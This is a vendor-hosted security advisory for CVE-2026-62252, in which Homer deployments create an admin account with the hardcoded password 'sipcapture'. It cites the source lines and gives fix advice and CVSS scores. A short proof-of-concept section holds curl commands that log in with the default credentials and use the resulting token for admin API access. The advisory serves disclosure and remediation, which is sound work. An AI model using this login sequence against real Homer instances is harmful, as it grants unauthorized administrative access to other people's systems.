Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-62252

Homer: Hardcoded Default Admin Password 'sipcapture' With No Forced Change on First Login
Back to all
CVE

CVE-2026-62252

Homer: Hardcoded Default Admin Password 'sipcapture' With No Forced Change on First Login

Summary

On every fresh Homer deployment using internal authentication, the bootstrap process automatically creates an admin account with the password sipcapture (stored as a legacy SHA-256 hex hash). There is no first-login forced-change mechanism. Any attacker who reaches the login endpoint immediately gains full administrative access.

Details

config/config.go lines 858-861:

// DefaultInternalAuthPasswordHash is the SHA-256 hex digest of the default
// bootstrap password (cleartext: sipcapture).
const DefaultInternalAuthPasswordHash = "883ffc1f37fd0fe542b0fb9740035c4383e7d976c411161d24e62edace280f90"

coordinator/services/auth_bootstrap.go lines 20-71: EnsureBootstrapAdminUser() runs at startup. If no admin user exists, it inserts a row with username=admin, password_hash=DefaultInternalAuthPasswordHash. No force_change, no first_login flag, no expiry is set.

coordinator/services/authbootstraptest.go line 114 confirms the plaintext:

u, err := svc.Authenticate(ctx, "admin", "sipcapture")

passwordhash/password.go lines 36-45: Legacy SHA-256 hex hashes are accepted via legacySHA256HexEqual, so the default credential is functional on any deployment.

PoC

## Authenticate with default credentials — works on any fresh Homer deployment
curl -s -X POST http://<homer-host>/api/v3/auth \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"sipcapture"}'
## Response: {"token":"<admin-jwt>","data":{"userGroup":"admin"}}
## Use the token to access all admin functionality
curl -H "Authorization: Bearer <admin-jwt>" http://<homer-host>/api/v3/users

Impact

Use of Hard-coded Credentials (CWE-798). Any attacker who can reach a freshly deployed Homer instance gains immediate full administrative access using the publicly documented default password, with no lockout, rate limiting, or forced password change required.

Fix

Remove the hardcoded DefaultInternalAuthPasswordHash constant. Require operators to provide a hashed admin password in the configuration file. Alternatively, generate a random password on first startup, print it to stdout once, and immediately force a change on first login.

If possible, please apply for a CVE number when posting.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
9.8
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
-

Related Resources

No items found.

References

https://github.com/sipcapture/homer/security/advisories/GHSA-6xp5-7rcx-xfgx, https://github.com/sipcapture/homer/pull/838, https://github.com/sipcapture/homer/commit/b2e942031ff8cd7435a244ebef306ee97d16b809, https://github.com/sipcapture/homer, https://github.com/sipcapture/homer/releases/tag/11.0.283

Severity

9.8

CVSS Score
0
10

Basic Information

Base CVSS
9.8
EPSS Probability
0.00653%
EPSS Percentile
0.51323%
Introduced Version
0
Fix Available
0.0.0-20260625091610-b2e942031ff8

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading